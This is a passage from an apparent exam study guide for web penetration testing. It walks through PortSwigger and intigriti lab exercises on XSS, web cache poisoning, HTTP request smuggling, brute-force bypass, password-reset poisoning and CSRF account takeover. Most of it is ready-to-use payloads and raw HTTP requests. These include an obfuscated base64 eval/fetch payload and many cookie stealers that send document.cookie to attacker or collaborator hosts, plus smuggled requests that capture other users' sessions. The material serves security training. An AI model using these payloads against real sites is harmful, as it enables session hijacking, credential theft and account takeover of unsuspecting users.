>This image shows Burp Collaborator receiving the my cookie value as proof of concept before setting up payload to `Deliver exploit to victim`. ![Burp collaborator receiving request with base64 cookie value from our POC.](images/xss2.png) >[URL Encode](https://www.urlencoder.org/) all characters in this payload and use as the value of the `/?SearchTerm=` parameter. ```html "-eval(atob("ZmV0Y2goYGh0dHBzOi8vNHo0YWdlMHlwYjV3b2I5cDYxeXBwdTEzdnUxbHBiZDAub2FzdGlmeS5jb20vP2pzb25jPWAgKyB3aW5kb3dbImRvY3VtZW50Il1bImNvb2tpZSJdKQ=="))-" ``` >Hosting the `IFRAME` on exploit server, give a **error** message refused to connect to target. Instead host the payload on exploit server between `<script>` tags. ```html <script> location = "https://TARGET.net/?SearchTerm=%22%2d%65%76%61%6c%28%61%74%6f%62%28%22%5a%6d%56%30%59%32%67%6f%59%47%68%30%64%48%42%7a%4f%69%38%76%4e%48%6f%30%59%57%64%6c%4d%48%6c%77%59%6a%56%33%62%32%49%35%63%44%59%78%65%58%42%77%64%54%45%7a%64%6e%55%78%62%48%42%69%5a%44%41%75%62%32%46%7a%64%47%6c%6d%65%53%35%6a%62%32%30%76%50%32%70%7a%62%32%35%6a%50%57%41%67%4b%79%42%33%61%57%35%6b%62%33%64%62%49%6d%52%76%59%33%56%74%5a%57%35%30%49%6c%31%62%49%6d%4e%76%62%32%74%70%5a%53%4a%64%4b%51%3d%3d%22%29%29%2d%22" </script> ``` ![(Deliver reflected xss to steal victim cookie.](images/xss1.png) >**NOTE:** `Deliver exploit to victim` few times if the active user do not send HTTP request to collaborator. Replace the current cookie value with the stolen cookie to impersonate the active user and move on to [Stage 2 of the Practice Exam](#blind-time-delay). [PortSwigger Practice Exam - Stage 1 - Foothold](https://portswigger.net/web-security/certification/takepracticeexam/index.html) ### Stored XSS >Use the following sample code to ***identify*** stored XSS. If stored input is redirecting victim that click on the links, it send request to exploit server. ```HTML <img src="https://EXPLOIT.net/img"> <script src="https://EXPLOIT.net/script"></script> <video src="https://EXPLOIT.net/video"></video> ``` >Below log entries show the requests made to the exploit server, and from the logs we can ***identify*** that `/img` and `/video` of the above tags were allowed on the application and made requests when accessed. ![Identify-stored-xss](images/identify-stored-xss.png) >Cross site Scripting saved in Blog post comment. This Cookie Stealer payload then send the victim session cookie to the exploit server logs. ```html <img src="1" onerror="window.location='https://exploit.net/cookie='+document.cookie"> ``` >Product and Store lookup ```html ?productId=1&storeId="></select><img src=x onerror=this.src='https://exploit.net/?'+document.cookie;> ``` #### Stored XSS Blog Post >Stored XSS Blog post cookie stealer sending document cookie to exploit server. ```JavaScript <script> document.write('<img src="https://exploit.net?cookieStealer='+document.cookie+'" />'); </script> ``` >Below target has a stored XSS vulnerability in the blog comments function. Steal a victim user session cookie that views the comments after they are posted, and then use their cookie to do impersonation. ![Stored XSS Blog post](images/stored-xss-blog-post.png) >**Fetch API** JavaScript Cookie Stealer payload in Blog post comment. ```JavaScript <script> fetch('https://exploit.net', { method: 'POST', mode: 'no-cors', body:document.cookie }); </script> ``` [PortSwigger Lab: Exploiting cross-site scripting to steal cookies](https://portswigger.net/web-security/cross-site-scripting/exploiting/lab-stealing-cookies) #### Upgrade stored self-XSS >Blog comment with **Stored self-XSS**, upgrading the payload to steal victim information from DOM. The function **edit content** reflect the input in the `<script>` tag. The CSRF token for the **write comment** is same as the **edit content** functions. Below payload use **write comment** function to make the victim create a blog entry on their on blog with our malicious content. The `a` character is added to escape the `#` hash character from the initial application `source code`. The below `source code` in the blog entry is full exploit to steal victim info. ```html <button form=comment-form formaction="/edit" id=share-button>Click Button</button> <input form=comment-form name=content value='<meta http-equiv="refresh" content="1; URL=/edit" />'> <input form=comment-form name=tags value='a");alert(document.getElementsByClassName("navbar-brand")[0].innerText)//'> ``` >This target is exploited by constructing an HTML injection that clobbers a variable named `share_button`, see `source code` below and uses HTML code above. The content is reflected on the page, then using this reflection enable page redirection to victim `/edit` page with the use of the `meta http-equiv` tag to refresh page after 1 second result in redirection. ![clobbering javascript variable](images/clobbering5.png) ``` https://challenge-1222.intigriti.io/blog/unique-guid-value-abc123?share=1 ``` >Deliver Exploit, by Sending url that reference the above blog entry to the victim will trigger XSS as them. [intigriti - Self-XSS upgrade - Solution to December 22 XSS Challenge](https://youtu.be/FowbZ8IlU7o) >Alternative exploit using HTML injection in the Edit Content blog entry page, ***identified*** using [XSS Resources CSP check](#xss-resources). ``` <base href="https://Exploit.net"> ``` >Host JS file on Exploit server as `static/js/bootstrap.bundle.min.js`, with content: ``` alert(document.getElementsByClassName("navbar-brand")[0].innerText) ``` >The modified PortSwigger lab payload assign the `document.location` function to the variable `defaultAvatar` next time page is loaded, because site uses DOMPurify that allows the use of `cid:` protocol that do not URLencode double quotes. ``` <a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=document.location=`https://COLLABORATOR.com/?clobber=`+document.cookie//"> ``` [PortSwigger Lab: Exploiting DOM clobbering to enable XSS](https://portswigger.net/web-security/dom-based/dom-clobbering/lab-dom-xss-exploiting-dom-clobbering) ### Stored DOM XSS >In the JavaScript `source code`, included script `resources/js/loadCommentsWithVulnerableEscapeHtml.js` we ***identify*** the `html.replace()` function inside the custom `loadComments` function. Testing payloads we see the function only replaces the first occurrence of `<>`. ![stored dom-xss code replace](images/stored-dom-xss-code.png) ```html <><img src=1 onerror=javascript:fetch(`https://COLLABORATOR.com?escape=`+document.cookie)> ``` >Above payload is stored and any user visiting the comment blog will result in their session cookie being stolen and send to collaborator. ![stored DOM-XSS json comments](images/stored-dom-xss-json-comments.png) >PortSwigger Lab payload: `<><img src=1 onerror=alert()>`. [PortSwigger Lab: Stored DOM XSS](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-dom-xss-stored) ----- ## Web Cache Poison [Unkeyed header](#unkeyed-header) [Unkeyed Utm_content](#unkeyed-utm_content) [Cloaking utm_content](#cloaking-utm_content) [Poison ambiguous request](#poison-ambiguous-request) [Cache Poison multiple headers](#cache-poison-multiple-headers) ### Unkeyed header >Target use **tracking.js** JavaScript, and is vulnerable to **```X-Forwarded-Host```** or **```X-Host```** header redirecting path, allowing the stealing of cookie by poisoning cache. >***Identify*** the web cache headers in response and the tracking.js script in the page source code. Exploit the vulnerability by hosting JavaScript and injecting the header to poison the cache of the target to redirect a victim visiting. ![Tracking `source code` review](images/tracking-code-review.png) ```html X-Forwarded-Host: EXPLOIT.net X-Host: EXPLOIT.net ``` ![tracking.js](images/tracking.js.png) >Hosting on the exploit server, injecting the **```X-Forwarded-Host```** header in request, and poison the cache until victim hits poison cache. ``` /resources/js/tracking.js ``` ![exploit host tracking.js](images/exploit-host-tracking-js.png) >Body send session cookie to collaboration service. ```javascript document.location='https://collaboration.net/?cookies='+document.cookie; ``` >Keep **Poisoning** the web cache of target by resending request with ```X-Forwarded-Host``` header. ![x-cache-hit.png](images/x-cache-hit.png) [PortSwigger Lab: Web cache poisoning with an unkeyed header](https://portswigger.net/web-security/web-cache-poisoning/exploiting-design-flaws/lab-web-cache-poisoning-with-an-unkeyed-header) >Youtube video showing above lab payload on exploit server modified to steal victim cookie when victim hits a cached entry on back-end server. The payload is the above JavaScript. [YouTube: Web cache poisoning with unkeyed header - cookie stealer](https://youtu.be/eNmF8fq-ur8) [Param Miner Extension to identify web cache vulnerabilities](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) ### Unkeyed utm_content >Target is vulnerable to web cache poisoning because it excludes a certain parameter from the cache key. Param Miner's "Guess GET parameters" feature will ***identify*** the parameter as utm_content. ![Cache query reflected](images/cache-query-reflected.png) ``` GET /?utm_content='/><script>document.location="https://Collaborator.com?c="+document.cookie</script> ``` >Above payload is cached and the victim visiting target cookie send to Burp collaborator. ![cache-collaborator.png](images/cache-collaborator.png) [PortSwigger Lab: Web cache poisoning via an unkeyed query parameter](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-unkeyed-param) ### Cloaking utm_content >Param Miner extension doing a `Bulk scan > Rails parameter cloaking scan` will ***identify*** the vulnerability automatically. Manually it can be identified by adding `;` to append another parameter to `utm_content`, the cache treats this as a single parameter. This means that the extra parameter is also excluded from the cache key. >The `source code` for `/js/geolocate.js?callback=setCountryCookie` is called on every page and execute callback function. >The `callback` parameter is keyed, and thus cannot poison cache for victim user, but by combine duplicate parameter with `utm_content` it then excluded and cache can be poisoned. ``` GET /js/geolocate.js?callback=setCountryCookie&utm_content=fuzzer;callback=EVILFunction ``` ![utm_content cache cloaking](images/utm_content_cloaking.png) >Cache Cloaking Cookie Capturing payload below, keep poising cache until victim hits stored cache. ``` GET /js/geolocate.js?callback=setCountryCookie&utm_content=fuzzer;callback=document.location='https://COLLABORATOR.com?nuts='%2bdocument.cookie%3b HTTP/2 ``` >Below is [Url Decoded](https://www.urldecoder.org/) payload. ``` GET/js/geolocate.js?callback=setCountryCookie&utm_content=fuzzer;callback=document.location='https://COLLABORATOR.com?nuts='+document.cookie; HTTP/2 ``` [PortSwigger Lab: Parameter cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking) ### Poison ambiguous request >Adding a second **Host** header with an exploit server, this ***identify*** a ambiguous cache vulnerability and routing your request. Notice that the exploit server in second **Host** header is reflected in an absolute URL used to import a script from ```/resources/js/tracking.js```. ```html Host: TARGET.net Host: exploit.net ``` >On the exploit server set a file as same path target calls to ```/resources/js/tracking.js```, this will contain the payload. Place the JavaScript payload code below to perform a cookie stealer. ``` document.location='https://Collaborator.com/?CacheCookies='+document.cookie; ``` ![Ambiguous Hosts](images/ambiguous-hosts.png) [PortSwigger Lab: Web cache poisoning via ambiguous requests](https://portswigger.net/web-security/host-header/exploiting/lab-host-header-web-cache-poisoning-via-ambiguous-requests) ### Cache Poison multiple headers >Identify that cache hit headers in responses, then test if the target support ```X-Forwarded-Host``` or ```X-Forwarded-Scheme``` headers. These headers can allow for the stealing of victim session cookie. >Identify if adding the two **Forwarded** headers to the GET ```/resources/js/tracking.js``` request, result in a change to the location response header. This ***identify*** positive poisoning of the cache with multiple headers. ```html GET /resources/js/tracking.js?cb=123 HTTP/2 Host: TARGET.net X-Forwarded-Host: EXPLOIT.net X-Forwarded-Scheme: nothttps ``` ![x-forwarded-scheme not https](images/x-forwarded-scheme-nohttps.png) >On the exploit server change the file path to ```/resources/js/tracking.js``` and the update the poison request ```X-Forwarded-Host: EXPLOIT.net``` header. Place the payload on exploit server body. ```html document.location='https://Collaborator.com/?poisoncache='+document.cookie; ``` >Remove the ```cb=123``` cache **buster**, and then poison the cache until the victim is redirected to the exploit server payload tracking.js to steal session cookie. [PortSwigger Lab: Web cache poisoning with multiple headers](https://portswigger.net/web-security/web-cache-poisoning/exploiting-design-flaws/lab-web-cache-poisoning-with-multiple-headers) ### Duplicate Parameter Fat Poison >Identify that the application is vulnerable to duplicate parameter poisoning, by adding a second parameter with same name and different value the response reflected the injected value. ![countrycode source code](images/countrycode-source-code.png) ``` GET /js/geolocate.js?callback=setCountryCookie&callback=FUZZERFunction; HTTP/2 ``` >The function that is called in the response by passing in a duplicate callback parameter is reflected. Notice in response the cache key is still derived from the original callback parameter in the GET request line. ![fat-get-request](images/fat-get-request.png) >Not able to make cookie stealer payload working...... [PortSwigger Lab: Web cache poisoning via a fat GET request](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get) ----- ## Host Headers [Spoof IP Address](#spoof-ip-address) [HOST Connection State](#host-connection-state) [Host Routing based SSRF](#host-routing-based-ssrf) [SSRF via flawed Host request parsing](#absolute-get-url--host-ssrf) ### Spoof IP Address >***Identify*** that altered HOST headers are supported, which allows you to spoof your IP address and bypass the IP-based brute-force protection or redirection attacks to do password reset poisoning. >Include the below `X- ` headers and change the username parameter on the password reset request to `Carlos` before sending the request. >In the BSCP exam if you used this exploit then it means you have not used a vulnerability that require user interaction and allow you to use an interaction vulnerability to gain access to stage 3 as admin by using exploit server `Deliver exploit to victim` function. ```html X-Forwarded-Host: EXPLOIT.net X-Host: EXPLOIT.net X-Forwarded-Server: EXPLOIT.net ``` >Check the exploit server log to obtain the reset link to the victim username. ![Exploit Server Logs capture the forgot password reset token](images/HOST-Header-forgot-password-reset.PNG) [PortSwigger Lab: Password reset poisoning via middle-ware](https://portswigger.net/web-security/authentication/other-mechanisms/lab-password-reset-poisoning-via-middleware) ### HOST Connection State >Target is vulnerable to **routing-based SSRF** via the Host header, but validate connection state of the first request. Sending grouped request in sequence using **single connection** and setting the connection header to **keep-alive**, bypass host header validation and enable SSRF exploit of local server. ```html GET / HTTP/1.1 Host: TARGET.net Cookie: session=ValueOfSessionCookie Content-Length: 48 Content-Type: text/plain;charset=UTF-8 Connection: keep-alive ``` >Next request is the second tab in group sequence of requests. ```html POST /admin/delete HTTP/1.1 Host: localhost Cookie: _lab=YOUR-LAB-COOKIE; session=YOUR-SESSION-COOKIE Content-Type: x-www-form-urlencoded Content-Length: 53 csrf=TheCSRFTokenValue&username=carlos ``` >Observe that the second request has successfully accessed the admin panel. ![single connection](images/single-connection.png) [PortSwigger Lab: Host validation bypass via connection state attack](https://portswigger.net/web-security/host-header/exploiting/lab-host-header-host-validation-bypass-via-connection-state-attack) ----- ## HTTP Request Smuggling >Architecture with front-end and back-end server, and front-end or back-end does not support chunked encoding **(HEX)** or content-length **(Decimal)**. Bypass security controls to retrieve the victim's request and use the victim user's cookies to access their account. [TE.CL dualchunk - Transfer-encoding obfuscated](#tecl-dualchunk---transfer-encoding-obfuscated) [TE.CL multiCase - Admin blocked](#tecl-multiCase---admin-blocked) [CL.TE multiCase - Admin blocked](#clte-multicase---admin-blocked) [CL.TE multiCase - Content-Length Cookie Stealer](#clte-multicase---content-length) [CL.TE multiCase - User-Agent Cookie Stealer](#clte-multicase---user-agent-cookie-stealer) [HTTP/2 smuggling - CRLF injection Cookie Stealer](#http2-smuggling-via-crlf-injection) [HTTP/2 TE - Admin Cookie Stealer](#http2-te-desync-v10a-h2path) ### TE.CL dualchunk - Transfer-encoding obfuscated >If Duplicate header names are allowed, and the vulnerability is detected as **dualchunk**, then add an additional header with name and value = **Transfer-encoding: cow**. Use **obfuscation** techniques with second TE. ``` Transfer-Encoding: xchunked Transfer-Encoding : chunked Transfer-Encoding: chunked Transfer-Encoding: x Transfer-Encoding:[tab]chunked [space]Transfer-Encoding: chunked X: X[\n]Transfer-Encoding: chunked Transfer-Encoding : chunked Transfer-encoding: identity Transfer-encoding: cow ``` >Some servers that do support the `Transfer-Encoding` header can be induced not to process it if the header is **obfuscation** in some way. >On Repeater menu ensure that the **"Update Content-Length"** option is unchecked. ```html POST / HTTP/1.1 Host: TARGET.net Content-Type: application/x-www-form-urlencoded Content-length: 4 Transfer-Encoding: chunked Transfer-encoding: identity e6 GET /post?postId=4 HTTP/1.1 User-Agent: a"/><script>document.location='http://COLLABORATOR.com/?c='+document.cookie;</script> Content-Type: application/x-www-form-urlencoded Content-Length: 15 x=1 0\r\n \r\n ``` ![GPost Obfuscating the TE header](images/gpost.png) >**Note:** You need to include the trailing sequence **\r\n\r\n** following the final **0**. [PortSwigger Lab: HTTP request smuggling, obfuscating the Transfer-Encoding (TE) header](https://portswigger.net/web-security/request-smuggling/lab-obfuscating-te-header) >Wonder how often this scenario occur that hacker is able to steal visiting user request via HTTP Sync vulnerability? ### TE.CL multiCase - Admin blocked >When attempting to access `/admin` portal URL path, we get the filter message, `Path /admin is blocked`. The HTTP Request Smuggler scanner ***identify*** the vulnerability as `TE.CL multiCase (delayed response)`. **Note:** because back-end server doesn't support chunked encoding, turn off `Update Content-Length` in Repeater menu. >After disable auto content length update, changing to `HTTP/1.1`, then send below request twice, adding the second header `Content-Length: 15` prevent the HOST header conflicting with first request. >**Note:** need to include the trailing sequence `\r\n\r\n` following the final `0`. >Manually fixing the length fields in request smuggling attacks, requires each chunk size in bytes expressed in **HEXADECIMAL**, and **Content-Length** specifies the length of the message body in **bytes**. Chunks are followed by a **newline**, then followed by the chunk contents. The message is terminated with a chunk of size ZERO. ```html POST / HTTP/1.1 Host: TARGET.net Content-Type: application/x-www-form-urlencoded Content-length: 4 Transfer-Encoding: chunked 71 POST /admin HTTP/1.1 Host: localhost Content-Type: application/x-www-form-urlencoded Content-Length: 15 x=1 0 ``` >Calculating TE.CL (Transfer-Encoding / Content-Length) smuggle request length in **HEXADECIMAL** and the payload is between the hex length of **71** and the terminating **ZERO**, not including the ZERO AND not the preceding `\r\n` on line above ZERO, as part of length. The initial POST request **content-length** is manually set. ![te.cl.multicase-smuggle.png](images/te.cl.multicase-smuggle.png) >When sending the `/admin/delete?username=carlos` to delete user, the transfer encoding hex length is changed from `71` to `88` hexadecimal value to include extra smuggled request size. [PortSwigger Lab: Exploiting HTTP request smuggling to bypass front-end security controls, TE.CL vulnerability](https://portswigger.net/web-security/request-smuggling/exploiting/lab-bypass-front-end-controls-te-cl) ### CL.TE multiCase - Admin blocked >When attempting to access `/admin` portal URL path, we get the filter message, `Path /admin is blocked`. The HTTP Request Smuggler scanner ***identify*** the vulnerability as `CL.TE multiCase (delayed response)`. >To access the admin panel, send below request twice, adding the second header ```Content-Length: 10``` prevent the HOST header conflicting with first request. ```html POST / HTTP/1.1 Host: TARGET.net Cookie: session=waIS6yM79uaaNUO4MnmxejP2i6sZWo2E Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Content-Type: application/x-www-form-urlencoded Content-Length: 116 tRANSFER-ENCODING: chunked 0 GET /admin HTTP/1.1 Host: localhost Content-Type: application/x-www-form-urlencoded Content-Length: 10 x= ``` >On the second time the request is send the admin portal is returned in response. ![cl.te multicase admin blocked](images/cl.te-multicase-admin-blocked.png) [PortSwigger Lab: Exploiting HTTP request smuggling to bypass front-end security controls, CL.TE vulnerability](https://portswigger.net/web-security/request-smuggling/exploiting/lab-bypass-front-end-controls-cl-te) ### CL.TE multiCase - Content-Length >Large Content-Length to capture victim requests. Sending a POST request with smuggled request but the content length is longer than the real length and when victim browse their cookie session value is posted to blob comment. Increased the comment-post request's Content-Length to **798**, then smuggle POST request to the back-end server. ```html POST / HTTP/1.1 Host: TARGET.net Content-Type: application/x-www-form-urlencoded Content-Length: 242 Transfer-Encoding: chunked 0 POST /post/comment HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 798 Cookie: session=HackerCurrentCookieValue csrf=ValidCSRFCookieValue&postId=8&name=c&email=c%40c.c&website=&comment=c ``` ![Exploiting HTTP request smuggling with content-length value](images/content-length-capture-victim-request.png) >No new line at end of the smuggled POST request above^^. >View the blog **post** to see if there's a comment containing a user's request. Note that once the victim user browses the target website, then only will the attack be successful. Copy the user's Cookie header from the blog post comment, and use the cookie to access victim's account. ![Exploiting HTTP request smuggling to capture other users' requests](images/victim-request-captured-blog-comment.png) [PortSwigger Lab: Exploiting HTTP request smuggling to capture other users' requests](https://portswigger.net/web-security/request-smuggling/exploiting/lab-capture-other-users-requests) ### CL.TE multiCase - User-Agent Cookie Stealer >***Identify*** the UserAgent value is stored in the GET request loading the blog comment form, and stored in **User-Agent** hidden value. Exploiting HTTP request smuggling to deliver reflected XSS using **User-Agent** value that is then placed in a smuggled request. >Basic Cross Site Scripting Payload escaping out of HTML document. ```JavaScript "/><script>alert(1)</script> ``` >COOKIE STEALER Payload. ```JavaScript a"/><script>document.location='http://Collaborator.com/?cookiestealer='+document.cookie;</script> ``` >Smuggle this XSS request to the back-end server, so that it exploits the next visitor. Place the XSS cookie stealer in **User-Agent** header. ```html POST / HTTP/1.1 Host: TARGET.net Content-Length: 237 Content-Type: application/x-www-form-urlencoded Transfer-Encoding: chunked 0 GET /post?postId=4 HTTP/1.1 User-Agent: a"/><script>document.location='http://COLLABORATOR.com/?Hack='+document.cookie;</script> Content-Type: application/x-www-form-urlencoded Content-Length: 5 x=1 ``` ![HTTP request smuggling to deliver reflected XSS and steal victim cookie](images/user-agent-cookie-stealer-smuggled.PNG) >Check the PortSwigger Collaborator Request received from victim browsing target. ![Collaborator capture XSS Request from victim browsing target](images/collaborator-xss-Request-received.png) [PortSwigger Lab: Exploiting HTTP request smuggling to deliver reflected XSS](https://portswigger.net/web-security/request-smuggling/exploiting/lab-deliver-reflected-xss) ### HTTP/2 smuggling via CRLF injection >Target is vulnerable to request smuggling because the front-end server **downgrades HTTP/2** requests and fails to adequately sanitize incoming headers. Exploitation is by use of an HTTP/2-exclusive request smuggling vector to steal a victims session cookie and gain access to user's account. >***Identify*** possible vulnerability when Target reflect previous and recent search history based on cookie, by removing cookie it is noticed that your search history is reset, confirming that it's tied to your session cookie. ![recent searches](images/recent-searchs.png) >Expand the Inspector's Request Attributes section and change the protocol to HTTP/2, then append arbitrary header ```foo``` with value ```bar```, follow with the sequence ```\r\n```, then followed by the ```Transfer-Encoding: chunked```, by pressing **shift+ENTER**. ![http2-inspector](images/http2-inspector.png) >Note: enable the **Allow HTTP/2 ALPN override** option and change the body of HTTP/2 request to below POST request. ```html 0 POST / HTTP/1.1 Host: YOUR-LAB-ID.web-security-academy.net Cookie: session=HACKER-SESSION-COOKIE Content-Length: 800 search=nutty ``` ![http2 smuggle via crlf inject](images/http2-smuggle-via-crlf-inject.png) [PortSwigger Lab: HTTP/2 request smuggling via CRLF injection](https://portswigger.net/web-security/request-smuggling/advanced/lab-request-smuggling-h2-request-smuggling-via-crlf-injection) [Youtube demo HTTP/2 request smuggling via CRLF injection](https://youtu.be/E-bnCGzl7Rk) ### HTTP/2 TE desync v10a h2path >Target is vulnerable to request smuggling because the front-end server downgrades HTTP/2 requests even if they have an ambiguous length. Steal the session cookie, of the admin visiting the target. The Burp extension, **HTTP Request Smuggler** will ***identify*** the vulnerability as HTTP/2 TE desync v10a (H2.TE) vulnerability. ![HTTP/2 TE desync v10a h2path](images/HTTP2-TE-desync-v10a-h2path.png) >Note: Switch to **HTTP/2** in the inspector request attributes and Enable the **Allow HTTP/2 ALPN override** option in repeat menu. ```html POST /x HTTP/2 Host: TARGET.net Transfer-Encoding: chunked 0 GET /x HTTP/1.1 Host: TARGET.web-security-academy.net\r\n \r\n ``` >Note: Paths in both POST and GET requests points to non-existent endpoints. This help to ***identify*** when not getting a 404 response, the response is from victim user captured request. **Remember** to terminate the smuggled request properly by including the sequence ```\r\n\r\n``` after the Host header. ![302 Response once stolen admin cookie request captured](images/302-stolen-admin-cookie.png) >Copy stolen session cookie value into new **http/2** GET request to the admin panel. ``` GET /admin HTTP/2 Host: TARGET.web-security-academy.net Cookie: session=VictimAdminSessionCookieValue Cache-Control: max-age=0 Sec-Ch-Ua: "Chromium";v="109", "Not_A Brand";v="99" Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: "Linux" ``` ![admin-panel-access](images/admin-panel-access.png) [PortSwigger Lab: Response queue poisoning via H2.TE request smuggling](https://portswigger.net/web-security/request-smuggling/advanced/response-queue-poisoning/lab-request-smuggling-h2-response-queue-poisoning-via-te-request-smuggling) ----- ## Brute Force [Stay-Logged-in](#stay-logged-in) [Stay-logged-in Offline Crack](#stay-logged-in-offline-crack) [Brute Force Protected Login](#brute-force-protected-login) [Subtly Invalid Login](#subtly-invalid-login) ### Stay-Logged-in >Login option with a stay-logged-in check-box result in Cookie value containing the password of the user logged in and is vulnerable to brute-forcing. ![stay-logged-in](images/stay-logged-in.png) >The exploit steps below plus the Intruder Payload processing rules in order and including the GREP option in sequence before starting the attack. 1. Logout as current user. 2. Send the most recent GET /my-account request to Burp Intruder. 3. Select the cookie: ```stay-logged-in``` as injection position. 4. Hash: ```MD5``` 5. Add prefix: ```carlos:``` 6. Encode: ```Base64-encode``` 7. Add **GREP** under settings tab, to check for the string in the response ```Update email``` indicating successfully logged in attack. ![brute](images/brute.png) [PortSwigger Lab: Brute-forcing a stay-logged-in cookie](https://portswigger.net/web-security/authentication/other-mechanisms/lab-brute-forcing-a-stay-logged-in-cookie) ### Stay-logged-in Offline Crack >The blog application comment function is vulnerable to [stored XSS](#stored-xss), use the below payload in blog comment to send the session cookie of Carlos to the exploit server. ``` <script> document.location='https://EXPLOIT.net/StealCookie='+document.cookie </script> ``` >Base64 decode the ```stay-logged-in``` cookie value and use an online **MD5** hash crack station database. ![stay-logged-in Offline](images/stay-logged-in-offline.png) [PortSwigger Lab: Offline password cracking](https://portswigger.net/web-security/authentication/other-mechanisms/lab-offline-password-cracking) ### Brute Force Protected Login >***Identified*** brute force protection on login when back-end enforce 30 minute ban, resulting in **IP blocked** after too many invalid login attempts. Testing ```X-Forwarded-For:``` header result in bypass of brute force protection. Observing the response time with long invalid password, mean we can use **Pitchfork** technique to ***identify*** first valid usernames with random long password and then rerun intruder with **Pitchfork**, set each payload position attack iterates through all sets simultaneously. [Burp Lab Username, Password and directory fuzzing Word lists](https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/tree/main/wordlists) >Payload position 1 on IP address for ```X-Forwarded-For:``` and position 2 on username with a long password to see the **response time delay** in attack columns window. ``` X-Forwarded-For: 12.13.14.15 ``` ![Intruder Pitchfork](images/pitchfork.png) >Repeat above **Pitchfork** intruder attack on the password field and then ***identify*** valid password from the status column with 302 result. [PortSwigger Lab: Username enumeration via response timing](https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-response-timing) ### Subtly Invalid Login >***Identify*** that the login page & password reset is not protected by brute force attack, and no IP block or time-out enforced for invalid username or password. >Tip for the BSCP Exam, there is sometimes another user with weak password that can be brute forced. Carlos is not always the account to target to give a foothold access in stage 1. ![Subtly invalid login](images/subtly-invalid-login.png) >Notice on the Intruder attack column for the GREP value, ```Invalid username or password.``` the one response message for a failed username attack do not contain full stop period at the end. Repeat the attack with this ***identified*** username, and **Sniper** attack the password field to ***identify*** ```302``` response for valid login. ![Refresh Password](images/refresh-password.png) >In the BSCP exam ***lookout*** for other messages returned that are different and disclose valid accounts on the application and allow the brute force ***identified*** of account passwords, such as example on the [refresh password reset](#refresh-password-broken-logic) function. >Once valid username identified from different response message, the perform [brute force](#brute-force) using Burp Intruder on the password. [PortSwigger Lab: Username enumeration via subtly different responses](https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-subtly-different-responses) >Another scenario to identify valid username on the WEB APP is to provide list of usernames on login and one invalid password value. In the Intruder attack results one response will contain message `Incorrect password`. >Intruder attack injection position, `username=§invalid-username§&password=SomeStupidLongCrazyWrongSecretPassword123456789`. [PortSwigger Lab: Username enumeration via different responses](https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-different-responses) ----- ## Authentication [Account Registration](#account-registration) [Auth Token bypass Macro](#auth-token-bypass-macro) ### Account Registration >Business logic flaw in the account registration feature allow for gaining foothold as target user role access. [Content Discovery](#content-discovery) find the path ```/admin```, message state the Admin interface is only available if logged in as a **DontWannaCry** user. ![Register length flaw](images/register-length-flaw.png) >Creating email with more that 200 character before the ```@``` symbol is then truncated to 255 characters. This ***identify*** the vulnerability in the account registration page logic **flaw**. In the email below the ```m``` at the end of ```@dontwannacry.com``` is character 255 exactly. ``` very-long-strings-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-strings@dontwannacry.com.exploit-0afe007b03a34169c10b8fc501510091.exploit-server.net ``` ![Inconsistent-handling-exceptional-input](images/Inconsistent-handling-exceptional-input.png) [PortSwigger Lab: Inconsistent handling of exceptional input](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-inconsistent-handling-of-exceptional-input) ### Auth Token bypass Macro >If the authentication login is protected against brute force by using random token that is used on every login POST, a Burp Macro can be used to bypass protection. >Create Burp Macro 1. Open Proxy settings and select **sessions** under Project choices. 2. Scroll down to ```Macros```, and add new macro. 3. Select **request** from the list to use for the value to be used. 4. click ```Configure item``` and add custom parameter location to extract. 5. Click **OK** to return to Sessions under Project choices. 6. Add a Session handling **rule**, and the editor dialogue opens. 7. In the dialogue, go to the "Scope" tab. 8. Under scope for the session handling rule editor, **check** Target, Intruder, and Repeater. 9. Still under "URL Scope", select ```Include all URLs```. 10. Close Settings. ![How To Create a Macro in Burp Suite Professional](images/create-macro.png) [PortSwigger Lab: Infinite money logic flaw - show how to create Burp Macro](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-infinite-money) ----- # Privilege Escalation ## CSRF Account Takeover [OAuth](#oauth) [Referer Validation CSRF](#referer-validation-csrf) [Referer Header Present](#referer-header-present) [LastSearchTerm](#lastsearchterm) [CSRF duplicated in cookie](#csrf-duplicated-in-cookie) [CSRF Token Present](#csrf-token-present) [Is Logged In](#is-logged-in) [CSRF No Defences](#csrf-no-defences) [SameSite Strict bypass](#samesite-strict-bypass) [SameSite Lax bypass](#samesite-lax-bypass) >Cross-Site Request Forgery vulnerability allows an attacker to force users to perform actions that they did not intend to perform. This can enable attacker to change victim email address and use password reset to take over the account. ### OAuth >oAuth linking exploit server hosting iframe, then deliver to victim, forcing user to update code linked. ![csrf](images/csrf.png) >Intercepted the GET /oauth-linking?code=[...]. send to repeat to save code. **Drop** the request. Important to ensure that the code is not used and, remains valid. Save on exploit server an iframe in which the ```src``` attribute points to the URL you just copied. ```html <iframe src="https://TARGET.net/oauth-linking?code=STOLEN-CODE"></iframe> ``` [PortSwigger Lab: Forced OAuth profile linking](https://portswigger.net/web-security/oauth/lab-oauth-forced-oauth-profile-linking) ### Referer Validation CSRF >***Identify*** the change email function is vulnerable to CSRF by observing when the **Referer** header value is changed the response give message, `Invalid referer header`, and the email change is accepted when the referrer value contains the expected target domain somewhere in the value. ![identify csrf referer header check](images/identify-csrf-referer-header-check.png) >Adding original domain of target and append `history.pushState('', '', 